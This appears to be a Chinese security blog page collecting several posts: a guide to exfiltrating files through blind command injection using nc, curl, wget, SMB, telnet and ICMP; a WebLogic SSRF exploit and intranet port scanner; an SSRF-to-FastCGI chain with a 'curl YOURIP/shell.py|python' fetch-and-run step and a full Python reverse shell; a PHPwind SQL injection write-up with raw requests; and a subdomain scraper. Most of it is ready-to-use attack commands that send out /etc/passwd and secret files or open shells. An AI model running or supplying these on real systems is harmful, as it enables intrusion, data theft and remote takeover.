Data Exfiltration via Blind OS Command Injection

发布时间:November 18, 2015 // 分类: // No Comments

常常遇到这样的情况,可以执行命令,但是却不能把执行的结果回显出来.后来出现了cloudeye这样的平台。不过只是能看到有请求的日志,有些没有办法显示出来。比如内容比较大的时候.apacelog只是能够显示为POST xxxx 然而并米有相关的内容.

通常我们执行命令的时候是想同时几个命令一起执行。这样增加效率问题,这种情况在命令执行漏洞时候特别常见.已知的命令加上参数可控,然后当前的只能执行这个命令。我们再当前的环境中想执行其他的命令就需要.可以将命令操作符允许您运行任意在主机操作系统命令。下表详细信息可以使用的这些数量在这种攻击中:

我们如何获取敏感信息或从主机在这种情况下我们的结果吗?将详细介绍多种方式上传就能达到一个web主机外壳。

 

NetCat

使用Nc隧道把需要的文件传出来

nc –l –p {port} < {file/to/extract}

再我们的机器上去连接目标机器的端口,可以看到相关的内容被输出

如果存在漏洞的机器是windows的,想将内容输出可以使用

type {file to extract}  | nc -L -p {port}

 

CURL

curl是linux上特别好用的一个工具.除了HTTP请求我们还可以使用它来进行FTP/SCP/TFTP/TELNET等请求.在cloudeye里面,我们的请求方式类似于

curl http://abc.333d61.dnslog.info//tangscan/iswin.jpg/?cmd=$(whoami)

对于读取到的文件,内容过大不能使用Get 只能使用post的方式

cat /path/to/file | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt

这样可以在服务器的日志里面看到发送的内容

CURL也可以使用ftp协议传输数据,只要是存在命令执行漏洞.使用curl -t就可以了

curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{password}

正如之前所说的,curl除了这些用法,还可以使用tftp/telnet/scp等协议

WGET

wget是我们熟知的下载命令.使用WGET向服务器提交请求格式如下

–header=’name:value’

这样就可以定制一个包含自己需要的请求的头部信息.这里的可以是一个文件内容

wget –header=”EVIL:$(cat /data/secret/password.txt)”http://xxx.xxx.xxx:xxx

也可以使用命令来处理超过一行显示的内容

wget –header=”evil:`cat /etc/passwd | xargs echo –n`” http://xxx.xxx.xxx:xxxx

It is also possible to use WGET to submit a POST request to our web server  and send string data in the request body using the ‘—post-data’ flag or the contents of a file using the ‘—post-file’ flag. These flags expect the content of the form

‘key1=value1&key2=value2’. 

To retrieve the contents of a file using ‘post-data’ we can run a command such as the one below which extracts a file containing a secret code:

wget –post-data exfil=`cat /data/secret/secretcode.txt` http://xxx.xxx.xxx.xxx:xxxx

The next command shows how we can use ‘post-file’ to retrieve a web page that forms part of the application. On a pentest we might do this to view the code to identify further vulnerabilities; on a CTF you might do this to reveal a trophy hidden within the PHP code:

wget –post-file trophy.php http://xxx.xxx.xxx.xxx:xxxx

SMB

If the vulnerable web application is running on windows it may be possible to extract a file by creating a network share on your host and then getting the victim server to connect to your share and to copy the file over. This can be done with the net use command:

net use h: \\xxx.xxx.xxx.xxx\web /user:{username} {password} && copy {File to Copy} h:\{filename}.txt

TELNET

If telnet client is on the remote server you can use this to transfer a file to a listener on your host using the following command:

telnet xxx.xxx.xxx.xxx {port} < {file to transfer}

ICMP

If the host you are targeting has been hardened and tools such as netcat, wget and CURL have been removed there are still some techniques you can use.  Try and get the host to ping your box and see if ICMP is let out through any intervening firewalls.  If it is, and the underlying host is running Linux, we can exfiltrate data in ICMP echo requests using the –p flag.  The –p flag allows you to specify up to 16 “pad” bytes. This is where we will store the data we want to exfiltrate.

First we need to convert the file into hex, and then specify the data to be inserted into the packet. This can be done with the following one-liner:

cat password.txt | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 xxx.xxx.xxx.xxx; done

In Wireshark we can observe the packets containing our data.  You could write a script which scrapes the packets and re-assembles the file on the host.

WebLogic SSRF简易的利用脚本

发布时间:November 16, 2015 // 分类:开发笔记,代码学习,linux,python,windows // No Comments

#WebLogic SSRF And XSS (CVE-2014-4241, CVE-2014-4210, CVE-2014-4242)
#refer:http://blog.csdn.net/cnbird2008/article/details/45080055

这个漏洞可以对内网进行扫描.之前弄过简单的探测,时间久远就给忘记了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#WebLogic SSRF And XSS (CVE-2014-4241, CVE-2014-4210, CVE-2014-4242)
#refer:http://blog.csdn.net/cnbird2008/article/details/45080055

import re
import urlparse

def assign(service, arg):
    if service == 'www':
        return True, arg


def audit(arg):
    payload = 'uddiexplorer/SearchPublicRegistries.jsp?operator=http://0day5.com/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search'
    url = arg + payload
    code, head, res, errcode, _ = curl.curl('"%s"' % url)
    m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException', res)
    if m:
        security_warning(url)

if __name__ == '__main__':
    from dummy import *
    audit(assign('www', 'http://www.example.com/')[1])

但是最近因为有需求.要列出内网的部分信息。于是就修改了这个脚本,方便大批量的扫描应用

#!/usr/bin/env python  
# -*- coding: utf-8 -*- 
import re
import sys
import time
import thread
import requests
 
def scan(ip_str):
    ports = ('21','22','23','53','80','135','139','443','445','1080','1433','1521','3306','3389','4899','8080','7001','8000',)
    for port in ports:
        exp_url = "http://weblogic.0day5.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"%(ip_str,port)

        try:
            response = requests.get(exp_url, timeout=15, verify=False)
            #SSRF判断
            re_sult1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',response.content)
            #丢失连接.端口连接不上
            re_sult2 = re.findall('but could not connect',response.content)

            if len(re_sult1)!=0 and len(re_sult2)==0:
                print ip_str+':'+port

        except Exception, e:
            pass
        
def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(3)
     
if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)
   
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

得到的结果

10.101.28.16:80
10.101.28.17:80
10.101.28.16:135
10.101.28.16:139
10.101.28.17:135
10.101.28.16:445
10.101.28.17:445
10.101.28.20:80
10.101.28.20:135
10.101.28.20:139
10.101.28.129:80
10.101.28.202:21
10.101.28.142:139
10.101.28.142:445
10.101.28.129:135
10.101.28.202:80
10.101.28.240:21
10.101.28.142:3389
10.101.28.142:7001

 

前不久尝试了一个有php+weblogic+FastCGI的挑战.我们知道SSRF+GOPHER一直都很牛逼,最近更是火热到了不要不要的地步。在drops里面有关于这个的文章http://drops.wooyun.org/tips/16357。简单的说下利用步骤

nc -l -p 9000 >x.txt & go run fcgi_exp.go system 127.0.0.1 9000 /opt/discuz/info.php "curl YOURIP/shell.py|python"
php -f gopher.php

把payload保存到x.txt。bash反弹无效,改成python来反弹。然后urlencode编码payload生成ssrf.php

shell.py

import socket,subprocess,os  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect(("yourip",9999))  
os.dup2(s.fileno(),0)  
os.dup2(s.fileno(),1)  
os.dup2(s.fileno(),2)  
p=subprocess.call(["/bin/bash","-i"]);

gopher.php

<?php
$p = str_replace("+", "%20", urlencode(file_get_contents("x.txt")));
file_put_contents("ssrf.php", "<?php header('Location: gopher://127.0.0.1:9000/_".$p."');?>");
?>

成功生成了利用文件ssrf.php

反弹shell

vps上运行监听端口

nc -lvv 9999

利用SSRF

http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?&amp;rdoSearch=name&amp;txtSearchname=sdf&amp;txtSearchkey=&amp;txtSearchfor=&amp;selfor=Business%20location&amp;btnSubmit=Search&amp;operator=YOURIP/ssrf.php

如果利用成功则会成功反弹

1
```

如何成为1024最有钱的淫人

发布时间:November 9, 2015 // 分类:PHP,代码学习,代码审计 // 2 Comments

今天看到乌云社区一个帖子http://zone.wooyun.org/content/23830

挑战地址: http://42fcbe7be63be5032.jie.sangebaimao.com/ 模拟环境 

WooYun: 一个可以让你成为1024社区最富有の人的SQL注入漏洞 (漏洞已修复) 
但你能像猪猪侠一样成为1024最有钱的男人么? 

来挑战吧,成为最有钱的男人!!! 

本屌本着屌丝无惧的心理,看了下.过程发现比较low.因为程序的版本是PHPwind 5.3的。所以就看了低版本的

login.php

if ($action=="login"){
    if (!$step){
        $jumpurl=$pre_url;      
        require_once(R_P.'require/header.php');
        require_once PrintEot('login');footer();    
    } elseif($_POST['step']==2){
        $logingd && GdConfirm($gdcode);
        require_once(R_P.'require/checkpass.php');
        include_once(D_P."data/bbscache/dbreg.php");

        unset($hp);
        if($pwuser && $pwpwd){
            $md5_pwpwd=md5($pwpwd);
            list($winduid,$groupid,$pwpwd)=checkpass($pwuser,$md5_pwpwd);
        } else{
            Showmsg('login_empty');

再看看checkpass函数

function checkpass($username,$password){
    global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$men_uid;

    $men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.memberid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
    if($men){
        $e_login=explode("|",$men['onlineip']);
        if($e_login[0]!=$onlineip.' *' || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
            $men_uid=$men['uid'];
            $men_pwd=$men['password'];
            $check_pwd=$password;
            if($men['yz'] > 2){
                Showmsg('login_jihuo');
            }
            if(strlen($men_pwd)==16){
                $check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
            }
            if($men_pwd==$check_pwd){
                if(strlen($men_pwd)==16){
                    $db->update("UPDATE pw_members SET password='$password' WHERE uid='$men_uid'");
                }
                $L_groupid = $men['groupid']=='-1' ? $men['memberid'] : $men['groupid'];
                Cookie("ck_info",$db_ckpath."\t".$db_ckdomain);
            }else{
                global $L_T;
                $L_T=$e_login[2];
                $L_T ? $L_T--:$L_T=5;
                $F_login="$onlineip *|$timestamp|$L_T";
                $db->update("UPDATE pw_memberdata SET onlineip='$F_login' WHERE uid='$men_uid'");
                Showmsg('login_pwd_error');
            }
        }else{
            global $L_T;
            $L_T=600-($timestamp-$e_login[1]);
            Showmsg('login_forbid');
        }
    } else {
        global $errorname;
        $errorname=$username;
        Showmsg('user_not_exists');
    }
    return array($men_uid,$L_groupid,PwdCode($password));
}

这里首先对$username检测,然后通过就获取uid,再进入对账号和密码进行验证的阶段。我们再看看$onlineip 的获取

if($_SERVER['HTTP_X_FORWARDED_FOR']){
    $onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $c_agentip=1;
}elseif($_SERVER['HTTP_CLIENT_IP']){
    $onlineip = $_SERVER['HTTP_CLIENT_IP'];
    $c_agentip=1;
}else{
    $onlineip = $_SERVER['REMOTE_ADDR'];
    $c_agentip=0;
}
$onlineip = preg_match("/^[\d]([\d\.]){5,13}[\d]$/", $onlineip) ? $onlineip : 'unknown';//这里限制了IP的长度

所以这里可能存在问题的地方在$uname 跟$onlineip 里面。如果账号密码输入后会更新pw_memberdata的记录UPDATE pw_memberdata SET onlineip='$F_login' WHERE uid='$men_uid'

这里任意构造账号和密码登录测试。更改X-Forwarded-For: '

然后查看pw_memberdata表的相关信息

uid 用户id
postnum 发贴数
digests精华帖子数
rvrc 威望
money 金钱
credit 贡献值
currency交易币
editor 是否开启所见即所得编辑器
lastvisit 最后访问时间
thisvisit 此次访问时间
lastpost 最后发贴时间
onlinetime 在线时长
todaypost 今日发贴
uploadtime 最后上传文件时间
uploadnum 上传文章数当天
onlineip 在线ip以及登陆相关信息(密码错误次数)
starttime 签名展示开始时间
数据表功能介绍:用户相关信息

这里的update是可以控制的,比如这里报错的信息是UPDATE pw_memberdata SET onlineip='', 114.139.236 *|1447066921|0' WHERE uid=1 ,如果账号和密码是正确的话,就会更新当前的登录IP,因为这里的没有限制,所以可以加入我们需要的东西

UPDATE pw_memberdata SET onlineip='',money=9999'114.139.236 *|1447066921|0' WHERE uid=1 因为长度是有限制的。所以不能加入太多东西,不然就能更新任意账号的密码了.

这里是第一个地方.第二个地方在wap/index.php里面。

elseif($prog == 'login'){
    if($windid){
        wap_msg('login_have');
    }elseif($pwuser && $pwpwd){
        wap_login($pwuser,md5($pwpwd));
    }

也是一样的在wap/wap_mod.php

function wap_login($username,$password){
    global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;

    $men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username='$username'");
    if($men){
        $e_login=explode("|",$men['onlineip']);
        if($e_login[0]!=$onlineip.' *' || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){
            $men_uid=$men['uid'];
            $men_pwd=$men['password'];
            $check_pwd=$password;
            if($men['yz'] > 2){
                wap_msg('c');
            }
            if(strlen($men_pwd)==16){
                $check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/
            }
            if($men_pwd==$check_pwd){
                if(strlen($men_pwd)==16){
                    $db->update("UPDATE pw_members SET password='$password' WHERE uid='$men_uid'");
                }
                $L_groupid=(int)$men['groupid'];
                Cookie("ck_info",$db_ckpath."\t".$db_ckdomain);
            }else{
                global $L_T;
                $L_T=$e_login[2];
                $L_T ? $L_T--:$L_T=5;
                $F_login="$onlineip *|$timestamp|$L_T";
                $db->update("UPDATE pw_memberdata SET onlineip='$F_login' WHERE uid='$men_uid'");
                wap_msg('login_pwd_error');
            }
        }else{
            global $L_T;
            $L_T=600-($timestamp-$e_login[1]);
            wap_msg('login_forbid');
        }
    } else {
        global $errorname;
        $errorname=$username;
        wap_msg('user_not_exists');
    }
    Cookie("winduser",StrCode($men_uid."\t".PwdCode($password)));
    Cookie('lastvisit','',0);
    wap_msg('wap_login','index.php');
}

一样的发送数据包

POST /wap/index.php HTTP/1.1
Host: 42fcbe7be63be5032.jie.sangebaimao.com
Content-Length: 51
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://42fcbe7be63be5032.jie.sangebaimao.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://42fcbe7be63be5032.jie.sangebaimao.com/wap/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
Cookie: __cfduid=d8fb6b08e91555ed4b01642b8b1d647321446699307; d6d9c_lastfid=0; d6d9c_lastvisit=0%091447055158%09%2Findex.php%3F; d6d9c_ol_offset=21631
X-Forwarded-For: '

db_wapifopen=1&prog=login&pwuser=admin&pwpwd=123456

得到的结果依旧是

构造的办法也是一样的。这里还可以有其他的办法。搜索到部分资料在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html。这里wap登录的也是存在注入的

POST /wap/index.php HTTP/1.1
Host: 42fcbe7be63be5032.jie.sangebaimao.com
Content-Length: 54
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://42fcbe7be63be5032.jie.sangebaimao.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://42fcbe7be63be5032.jie.sangebaimao.com/wap/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,es;q=0.6,fr;q=0.4,vi;q=0.2
Cookie: __cfduid=d8fb6b08e91555ed4b01642b8b1d647321446699307; d6d9c_lastfid=0; d6d9c_lastvisit=0%091447055158%09%2Findex.php%3F; d6d9c_ol_offset=21631
X-Forwarded-For: 127.0.0.1

db_wapifopen=1&prog=login&pwuser=shit%cf'&pwpwd=123456

得到的结果是

调用第三方进行子域名查询

发布时间:November 8, 2015 // 分类:开发笔记,工作日志,linux,python,windows,生活琐事 // 1 Comment

因为最近都是使用的是subDomainsBrute.py对子域名进行爆破。但是三级域名的支持却不是很好。有小伙伴提示是在http://i.links.cn/subdomain/上进行查询的。于是简单的测试了下,写了一个小脚本方便查询

#! /usr/bin/env python
# -*- coding: utf-8 -*-
import requests,re,sys

def get_domain(domain):
    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": "http://i.links.cn/subdomain/",
    }
    payload = ("domain={domain}&b2=1&b3=1&b4=1".format(domain=domain))
    r = requests.post("http://i.links.cn/subdomain/", params=payload)
    file=r.text.encode('ISO-8859-1')
    regex = re.compile('value="(.+?)"><input')
    result=regex.findall(file)
    list = '\n'.join(result)
    print list

if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)
    get_domain(args)

对比了下。还真的处了三级域名

#!/usr/bin/env python
# encoding: utf-8

import re
import sys
import json
import time
import socket
import random
import urllib
import urllib2

from bs4 import BeautifulSoup

# 随机AGENT
USER_AGENTS = [
    "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)",
]


def random_useragent():
    return random.choice(USER_AGENTS)

def getUrlRespHtml(url):
    respHtml=''
    try:
        heads = {'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 
                'Accept-Charset':'GB2312,utf-8;q=0.7,*;q=0.7', 
                'Accept-Language':'zh-cn,zh;q=0.5', 
                'Cache-Control':'max-age=0', 
                'Connection':'keep-alive', 
                'Keep-Alive':'115',
                'User-Agent':random_useragent()}
     
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor())
        urllib2.install_opener(opener) 
        req = urllib2.Request(url)
        opener.addheaders = heads.items()
        respHtml = opener.open(req).read()
    except Exception:
        pass
    return respHtml

def links_get(domain):
    trytime = 0
    #links里面得到的数据不是很全,准确率没法保证
    domainslinks = []
    try:
        req=urllib2.Request('http://i.links.cn/subdomain/?b2=1&b3=1&b4=1&domain='+domain)
        req.add_header('User-Agent',random_useragent())
        res=urllib2.urlopen(req, timeout = 30)
        src=res.read()

        TempD = re.findall('value="http.*?">',src,re.S)
        for item in TempD:
            item = item[item.find('//')+2:-2]
            #result=socket.getaddrinfo(item,None)
            #print result[0][4]
            domainslinks.append(item)
            domainslinks={}.fromkeys(domainslinks).keys()
        return domainslinks

    except Exception, e:
        pass
        trytime += 1
        if trytime > 3:
            return domainslinks

def bing_get(domain):
    trytime = 0
    f = 1
    domainsbing = []
    #bing里面获取的数据不是很完全
    while True:
        try:            
            req=urllib2.Request('http://cn.bing.com/search?count=50&q=site:'+domain+'&first='+str(f))
            req.add_header('User-Agent',random_useragent()) 
            res=urllib2.urlopen(req, timeout = 30)
            src=res.read()
            TempD=re.findall('<cite>(.*?)<\/cite>',src)
            for item in TempD:
                item=item.split('<strong>')[0]
                item += domain
                try:
                    if not (item.startswith('http://') or item.startswith('https://')):
                        item = "http://" + item
                    proto, rest = urllib2.splittype(item)
                    host, rest = urllib2.splithost(rest) 
                    host, port = urllib2.splitport(host)
                    if port == None:
                        item = host
                    else:
                        item = host + ":" + port
                except:
                     print traceback.format_exc()
                     pass                           
                domainsbing.append(item)         
            if f<500 and re.search('class="sb_pagN"',src) is not None:
                f = int(f)+50
            else:
                subdomainbing={}.fromkeys(domainsbing).keys()
                return subdomainbing
                break
        except Exception, e:
            pass
            trytime+=1
            if trytime>3:
                return domainsbing

def google_get(domain):
    trytime = 0
    s=1
    domainsgoogle=[]
    #需要绑定google的hosts
    while True:
        try:
            req=urllib2.Request('http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=site:'+domain+'&rsz=8&start='+str(s))
            req.add_header('User-Agent',random_useragent()) 
            res=urllib2.urlopen(req, timeout = 30)
            src=res.read()
            results = json.loads(src)
            TempD = results['responseData']['results']
            for item in TempD:
                item=item['visibleUrl'] 
                item=item.encode('utf-8')
                domainsgoogle.append(item)                
            s = int(s)+8
        except Exception, e:
            trytime += 1
            if trytime >= 3:
                domainsgoogle={}.fromkeys(domainsgoogle).keys()
                return domainsgoogle 

def Baidu_get(domain):
    domainsbaidu=[]
    try:
        pg = 10
        for x in xrange(1,pg):
            rn=50
            pn=(x-1)*rn
            url = 'http://www.baidu.com/baidu?cl=3&tn=baidutop10&wd=site:'+domain.strip()+'&rn='+str(rn)+'&pn='+str(pn)
            src=getUrlRespHtml(url)
            soup = BeautifulSoup(src)
            html=soup.find('div', id="content_left")
            if html:
                html_doc=html.find_all('h3',class_="t")
                if html_doc:
                    for doc in html_doc:
                        href=doc.find('a')
                        link=href.get('href')
                        #需要第二次请求,从302里面获取到跳转的地址[速度很慢]
                        rurl=urllib.unquote(urllib2.urlopen(link.strip()).geturl()).strip()
                        reg='http:\/\/[^\.]+'+'.'+domain
                        match_url = re.search(reg,rurl)
                        if match_url:
                            item=match_url.group(0).replace('http://','')
                            domainsbaidu.append(item)
    except Exception, e:
        pass
        domainsbaidu={}.fromkeys(domainsbaidu).keys()

    return domainsbaidu

def get_360(domain):
    #从360获取的数据一般都是网站管理员自己添加的,所以准备率比较高。
    domains360=[]
    try:
        url = 'http://webscan.360.cn/sub/index/?url='+domain.strip()
        src=getUrlRespHtml(url)
        item = re.findall(r'\)">(.*?)</strong>',src)
        if len(item)>0:
            for i in xrange(1,len(item)):
                domains360.append(item[i])
        else:
            item = ''
            domains360.append(item)
    except Exception, e:
        pass
        domains360={}.fromkeys(domains360).keys()
    return domains360

def get_subdomain_run(domain):
    mydomains = []
    mydomains.extend(links_get(domain))
    mydomains.extend(bing_get(domain))
    mydomains.extend(Baidu_get(domain))
    mydomains.extend(google_get(domain))
    mydomains.extend(get_360(domain))
    mydomains = list(set(mydomains))

    return mydomains

if __name__ == "__main__":
   if len(sys.argv) == 2:
      print get_subdomain_run(sys.argv[1])
      sys.exit(0)
   else:
       print ("usage: %s domain" % sys.argv[0])
       sys.exit(-1)

 

python mysubdomain.py wooyun.org
['www.wooyun.org', 'zone.wooyun.org', 'summit.wooyun.org', 'ce.wooyun.org', 'drops.wooyun.org', 'wooyun.org', 'wiki.wooyun.org', 'z.wooyun.org', 'job.wooyun.org', 'zhuanlan.wooyun.org', 'www2d00.wooyun.org', 'test.wooyun.org', 'en.wooyun.org', 'api.wooyun.org', 'paper.wooyun.org', 'edu.wooyun.org']

2016.1.28增加百度与360搜索抓取

python mysubdomain.py jd.cn

['temp1.jd.cn', 'ngb.jd.cn', 'www.fy.jd.cn', 'dangan.jd.cn', 'rd.jd.cn', 'bb.jd.cn', 'www.jd.cn', 'bjxc.jd.cn', 'www.xnz.jd.cn', 'jw.jd.cn', 'www.gsj.jd.cn', 'www.wuqiao.jd.cn', 'nlj.jd.cn', 'czj.jd.cn', 'www.smj.jd.cn', 'zfrx.jd.cn', 'www.jjjc.jd.cn', 'gtj.jd.cn', 'bbs.jd.cn', 'hbcy.jd.cn', 'lcsq.xnz.jd.cn', 'jtj.jd.cn', 'www.nkj.jd.cn', 'zx.jd.cn', 'www.daj.jd.cn', 'www.hbcy.jd.cn', 'slj.jd.cn', 'kfq.jd.cn', 'www.jxw.jd.cn', 'jwxxw.jd.cn', 'www.kx.jd.cn', 'qxj.jd.cn', 'www.sjj.jd.cn', 'www.jfw.jd.cn', 'www.dqz.jd.cn', 'yl.jd.cn', 'www.tw.jd.cn', 'www.qxj.jd.cn', 'www.dwzw.jd.cn', 'www.czj.jd.cn', 'www.ajj.jd.cn', 'www.gxs.jd.cn', 'www.dx.jd.cn', 'sjj.jd.cn', 'www.jtj.jd.cn', 'www.wjj.jd.cn', 'www.mzj.jd.cn', 'www.cgj.jd.cn', 'jsj.jd.cn', 'www.dangan.jd.cn', 'www.wlj.jd.cn', 'www.mj.jd.cn', 'www.zwz.jd.cn', 'www.sf.jd.cn', 'www.sbz.jd.cn', 'www.cl.jd.cn', 'fzb.jd.cn', 'ajj.jd.cn', 'www.rsj.jd.cn', 'www.jdz.jd.cn', 'www.xh.jd.cn', 'qzlxjysj.jd.cn', 'www.wjmj.jd.cn', 'www.sbdw.jd.cn', 'www.flower.jd.cn', 'www.kjj.jd.cn', 'www.yjj.jd.cn', 'wjj.jd.cn', 'jdz.jd.cn', 'www.cb.jd.cn', 'www.ptz.jd.cn', 'nkj.jd.cn', '333.jd.cn', 'www.dxs.jd.cn', 'www.cxy.jd.cn', 'www.wjz.jd.cn', 'www.fzb.jd.cn', 'login.jd.cn', 'ldj.jd.cn', 'jfw.jd.cn', 'www.zfcg.jd.cn', 'www.kfq.jd.cn', 'www.dhz.jd.cn', 'www.zfrx.jd.cn', 'www.rd.jd.cn', 'dxs.jd.cn', 'jggw.jd.cn', 'www.yilin.jd.cn', 'www.tjj.jd.cn', 'www.zfw.jd.cn', 'g.jd.cn', 'www.rc.jd.cn', 'yfsq.xnz.jd.cn', 'www.wqz.jd.cn', 'zfcg.jd.cn', 'fgj.jd.cn', 'hbj.jd.cn', 'fgw.jd.cn', 'www.acd.jd.cn', 'sfj.jd.cn', 'www.zx.jd.cn', 'kx.jd.cn', 'www.ylz.jd.cn', 'www.zhenwu.jd.cn', 'fcz.jd.cn', 'tjj.jd.cn', 'kjj.jd.cn', 'gjj.jd.cn', 'cl.jd.cn', 'www.njj.jd.cn', 'www.slj.jd.cn', 'www.ldj.jd.cn', 'www.jsj.jd.cn', 'zfw.jd.cn', 'news.jd.cn', 'tw.jd.cn', 'www.dgz.jd.cn', 'yjj.jd.cn', 'njj.jd.cn', 'www.jggw.jd.cn', 'www.gjj.jd.cn', 'www.kp.jd.cn', 'www.qx.jd.cn', 'lsj.jd.cn', 'www.hbj.jd.cn', 'www.gcz.jd.cn', 'rc.jd.cn', 'jd.cn', 'jgj.jd.cn', 'jjjc.jd.cn', 'www.wsj.jd.cn', 'rsj.jd.cn', 'www.syb.jd.cn', 'files.jd.cn', 'www.jgj.jd.cn', 'www.xjz.jd.cn', 'fkb.jd.cn', 'qx.jd.cn', 'gsl.jd.cn', 'ptz.jd.cn', 'zzb.jd.cn', 'www.zjj.jd.cn', 'www.rfb.jd.cn', 'cb.jd.cn', 'www.fgj.jd.cn', 'www.da.jd.cn', 'www.lsj.jd.cn', 'www.fcz.jd.cn', 'www.ngb.jd.cn', 'www.sbzs.jd.cn', 'sf.jd.cn', 'www.jsw.jd.cn']

 

分类
最新文章
最近回复
  • 没穿底裤: 直接在hosts里面.激活的时候访问不到正确的地址
  • Sfish: 屏蔽更新是在控制台设置一下就可以了,还是说要在其他层面做一下限制,比如配置一下hosts让他升...
  • 没穿底裤: 激活,或者屏蔽地址禁止升级
  • 没穿底裤: 呃..这个思路不错啊..
  • Sfish: 博主好,想问一下,wvs11的破解版,是不是每隔一段时间就要重新激活一次才可以?有没有什么解决...